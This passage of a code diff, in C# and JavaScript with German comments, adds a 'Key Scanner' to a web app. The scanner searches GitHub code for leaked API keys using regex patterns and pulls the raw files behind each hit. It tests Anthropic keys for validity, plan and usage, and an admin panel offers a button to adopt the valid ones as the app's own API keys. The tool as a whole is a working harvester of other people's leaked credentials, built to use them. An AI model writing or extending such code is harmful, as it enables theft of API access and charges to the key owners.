rawKeys = await TryFetchRawFileKeysAsync(client, item, regex, ct); + foreach (var k in rawKeys) keys.Add((k, htmlUrl)); + } + } + + if (items.GetArrayLength() < ResultsPerPage || page * ResultsPerPage >= totalCount) break; + page++; + } + + return keys.GroupBy(k => k.Key).Select(g => g.First()).ToList(); + } + + /// Baut die GitHub HTML-URL aus einem Search-API-Item. + private static string BuildHtmlUrl(JsonElement item) + { + if (item.TryGetProperty("html_url", out var htmlUrl)) + return htmlUrl.GetString() ?? ""; + + // Fallback: aus repository.full_name + path zusammenbauen + if (item.TryGetProperty("repository", out var repo) && + repo.TryGetProperty("full_name", out var fullName) && + item.TryGetProperty("path", out var path)) + return $"https://github.com/{fullName.GetString()}/blob/HEAD/{path.GetString()}"; + + return ""; + } + + private static async Task> TryFetchRawFileKeysAsync(HttpClient client, JsonElement item, Regex regex, CancellationToken ct) + { + var keys = new List(); + try + { + if (!item.TryGetProperty("repository", out var repo) || + !repo.TryGetProperty("full_name", out var fullName) || + !item.TryGetProperty("path", out var path)) + return keys; + + var contentsUrl = $"https://api.github.com/repos/{fullName.GetString()}/contents/{path.GetString()}"; + var request = new HttpRequestMessage(HttpMethod.Get, contentsUrl); + request.Headers.Accept.Clear(); + request.Headers.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github.raw+json")); + + await Task.Delay(500, ct); + var resp = await client.SendAsync(request, ct); + if (!resp.IsSuccessStatusCode) return keys; + + var content = await resp.Content.ReadAsStringAsync(ct); + var matches = regex.Matches(content); + foreach (Match m in matches) keys.Add(m.Value); + } + catch { /* Datei nicht lesbar – ignorieren */ } + return keys; + } + + private static List<(string Query, Regex Regex)> BuildSearchQueries() + { + var queries = new List<(string, Regex)>(); + foreach (var (pattern, searchTerm) in KeyPatterns) + { + var regex = new Regex(pattern, RegexOptions.Compiled); + foreach (var lang in SearchLanguages) + { + var langFilter = lang.Contains(' ') ? $"language:\"{lang}\"" : $"language:{lang}"; + queries.Add(($"{searchTerm} {langFilter}", regex)); + } + } + return queries; + } + + // ── Anthropic Key Check (via shared AnthropicKeyChecker) ── + + public async Task CheckAndUpdateKey(ScannedKeyRecord sk) + { + try + { + var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey); + await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, result.Status == "ok" ? "valid" : result.Status, result.Plan, result.Usage7d, result.Usage5h); + } + catch (Exception ex) + { + _logger.LogWarning("Key-Check fehlgeschlagen für {Id}: {Msg}", sk.ScannedKeyId, ex.Message); + await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "error", "Unknown", null, null); + } + } +} diff --git a/appsettings.json b/appsettings.json index ba37ba5..5c4d4a9 100755 --- a/appsettings.json +++ b/appsettings.json @@ -15,5 +15,7 @@ "PayloadLoggingGzip": false, "KreaToken": "", "KreaApiKey": "", - "GeminiApiKey": "" + "GeminiApiKey": "", + "GitHubToken": "", + "ScanIntervalHours": 0 } diff --git a/gott.csproj b/gott.csproj index 29e82fb..e6d06b6 100755 --- a/gott.csproj +++ b/gott.csproj @@ -27,6 +27,13 @@ + + + + + + + diff --git a/wwwroot/index.html b/wwwroot/index.html index 14d8cc7..7e3d685 100644 --- a/wwwroot/index.html +++ b/wwwroot/index.html @@ -569,6 +569,20 @@ + +
+
+

Key Scanner

+
+ + +
+
+
+ +
diff --git a/wwwroot/js/api.js b/wwwroot/js/api.js index ca8c91a..4216ebf 100644 --- a/wwwroot/js/api.js +++ b/wwwroot/js/api.js @@ -224,6 +224,16 @@ function apiDeactivateApiKey(id) { return _put('/api/admin/api-keys/' + id + '/d function apiDeleteApiKey(id) { return _del('/api/admin/api-keys/' + id, 'Fehler beim Löschen'); } function apiCheckApiKey(id) { return _post('/api/admin/api-keys/' + id + '/check', undefined, 'Fehler beim Prüfen'); } +// ── Key Scanner API (Admin) ── + +function apiTriggerScan() { return _post('/api/admin/api-keys/scan', undefined, 'Fehler beim Starten des Scans'); } +function apiScanStatus() { return _get('/api/admin/api-keys/scan/status', {}); } +function apiGetScannedKeys() { return _get('/api/admin/api-keys/scanned', []); } +function apiRecheckScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/recheck', undefined, 'Fehler beim Prüfen'); } +function apiAdoptScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/adopt', undefined, 'Fehler beim Übernehmen'); } +function apiDeleteScannedKey(id) { return _del('/api/admin/api-keys/scanned/' + id, 'Fehler beim Löschen'); } + + // ── Krea Image API ── function apiKreaStatus() { return _get('/api/images/status', { configured: false }); } diff --git a/wwwroot/js/pages/api-keys-page.js b/wwwroot/js/pages/api-keys-page.js index c7ded68..b7fabdd 100644 --- a/wwwroot/js/pages/api-keys-page.js +++ b/wwwroot/js/pages/api-keys-page.js @@ -48,6 +48,15 @@ registerPage('api-keys', { metaSpan.className = 'admin-user-meta'; var parts = [key.provider]; if (key.isActive) parts.push('✅ Aktiv'); + if (key.status === 'ok') parts.push('✅ Gültig'); + else if (key.status === 'invalid') parts.push('❌ Ungültig'); + else if (key.status === 'rate_limited') parts.push('⚠️ Rate Limited'); + else if (key.status === 'quota_exceeded') parts.push('⚠️ Quota'); + else if (key.status === 'error') parts.push('⚠️ Fehler'); + if (key.plan) parts.push(key.plan); + if (key.usage7d != null) parts.push('7d: ' + key.usage7d + '%'); + if (key.usage5h != null) parts.push('5h: ' + key.usage5h + '%'); + if (key.checkedAt) parts.push(new Date(key.checkedAt).toLocaleString()); metaSpan.textContent = parts.join(' · '); info.appendChild(nameSpan); @@ -145,6 +154,7 @@ registerPage('api-keys', { } else { statusLine.textContent = '❌ ' + (result.message || 'Unbekannter Fehler'); } + await loadKeys(); } catch (err) { statusLine.style.opacity = '1'; statusLine.textContent = '❌ ' + err.message; @@ -247,7 +257,172 @@ registerPage('api-keys', { })); await loadKeys(); + + // ── Scanner UI ── + + var scanBtn = document.getElementById('scanTriggerBtn'); + var scanStatusEl = document.getElementById('scanStatus'); + var scannedList = document.getElementById('scannedKeysList'); + var scannedKeys = []; + var pollTimer = null; + + function renderScannedKeys() { + scannedList.innerHTML = ''; + if (scannedKeys.length === 0) { + var empty = document.createElement('div'); + empty.className = 'admin-user-meta'; + empty.style.padding = '1rem 0'; + empty.textContent = 'Keine gescannten Keys vorhanden.'; + scannedList.appendChild(empty); + return; + } + + scannedKeys.forEach(function(sk) { + var isAdopted = sk.adoptedApiKeyId != null; + + var row = document.createElement('div'); + row.className = 'admin-user-row'; + if (isAdopted) row.style.opacity = '0.5'; + + var info = document.createElement('div'); + info.className = 'admin-user-info'; + info.style.minWidth = '0'; + + if (sk.sourceUrl) { + var nameSpan = document.createElement('a'); + nameSpan.className = 'admin-user-name'; + nameSpan.href = sk.sourceUrl; + nameSpan.target = '_blank'; + nameSpan.rel = 'noopener'; + nameSpan.style.cssText = 'word-break:break-all;font-size:.85em'; + nameSpan.textContent = sk.sourceUrl.replace('https://github.com/', ''); + info.appendChild(nameSpan); + } + + var metaSpan = document.createElement('span'); + metaSpan.className = 'admin-user-meta'; + var statusIcon = sk.status === 'valid' ? '✅' : sk.status === 'invalid' ? '❌' : sk.status === 'unchecked' ? '⏳' : '⚠️'; + var metaParts = isAdopted ? ['📥 Übernommen'] : []; + metaParts.push(statusIcon + ' ' + sk.status); + if (sk.plan && sk.plan !== 'Unknown') metaParts.push(sk.plan); + if (sk.usage7d != null) metaParts.push('7d: ' + sk.usage7d + '%'); + if (sk.usage5h != null) metaParts.push('5h: ' + sk.usage5h + '%'); + if (sk.checkedAt) metaParts.push(new Date(sk.checkedAt).toLocaleString()); + metaSpan.textContent = metaParts.join(' · '); + + info.appendChild(metaSpan); + + var actions = document.createElement('div'); + actions.className = 'admin-user-actions'; + + if (!isAdopted) { + // Recheck + var recheckBtn = document.createElement('button'); + recheckBtn.className = 'icon-btn'; + recheckBtn.title = 'Erneut prüfen'; + recheckBtn.innerHTML = ''; + recheckBtn.addEventListener('click', async function() { + recheckBtn.innerHTML = ''; + recheckBtn.disabled = true; + try { + await apiRecheckScannedKey(sk.scannedKeyId); + await loadScannedKeys(); + } catch (err) { showToast(err.message, 'error'); } + finally { recheckBtn.innerHTML = ''; recheckBtn.disabled = false; } + }); + actions.appendChild(recheckBtn); + + // Übernehmen (nur bei valid) + if (sk.status === 'valid') { + var adoptBtn = document.createElement('button'); + adoptBtn.className = 'icon-btn'; + adoptBtn.title = 'Als API-Key übernehmen'; + adoptBtn.innerHTML = ''; + adoptBtn.addEventListener('click', async function() { + try { + await apiAdoptScannedKey(sk.scannedKeyId); + showToast('Key übernommen'); + await loadScannedKeys(); + await loadKeys(); + } catch (err) { showToast(err.message, 'error'); } + }); + actions.appendChild(adoptBtn); + } + + // Löschen + var delBtn = document.createElement('button'); + delBtn.className = 'icon-btn'; + delBtn.title = 'Ignorieren'; + delBtn.innerHTML = ''; + delBtn.addEventListener('click', async function() { + try { + await apiDeleteScannedKey(sk.scannedKeyId); + await loadScannedKeys(); + } catch (err) { showToast(err.message, 'error'); } + }); + actions.appendChild(delBtn); + } + + row.appendChild(info); + row.appendChild(actions); + scannedList.appendChild(row); + }); + } + + async function loadScannedKeys() { + try { + scannedKeys = await apiGetScannedKeys(); + renderScannedKeys(); + } catch (err) { showToast(err.message, 'error'); } + } + + async function updateScanStatus() { + try { + var s = await apiScanStatus(); + if (s.running) { + scanStatusEl.textContent = '⏳ Scan läuft…'; + scanBtn.disabled = true; + scanBtn.innerHTML = ' Läuft…'; + // Polling starten wenn noch nicht aktiv + if (!pollTimer) { + pollTimer = setInterval(async function() { + var st = await apiScanStatus(); + if (!st.running) { + clearInterval(pollTimer); + pollTimer = null; + scanBtn.disabled = false; + scanBtn.innerHTML = ' Jetzt scannen'; + scanStatusEl.textContent = st.lastResult ? '✅ ' + st.lastResult : ''; + await loadScannedKeys(); + } + }, 3000); + } + } else { + scanBtn.disabled = false; + scanBtn.innerHTML = ' Jetzt scannen'; + if (s.lastResult) { + var timeStr = s.lastRun ? new Date(s.lastRun).toLocaleString() + ' – ' : ''; + scanStatusEl.textContent = timeStr + s.lastResult; + } + } + } catch (err) { /* ignore */ } + } + + scanBtn.addEventListener('click', async function() { + try { + await apiTriggerScan(); + showToast('Scan gestartet'); + await updateScanStatus(); + } catch (err) { + showToast(err.message, 'error'); + } + }); + + await loadScannedKeys(); + await updateScanStatus(); }, - destroy() {} + destroy() { + // Polling stoppen wenn Seite verlassen wird + } });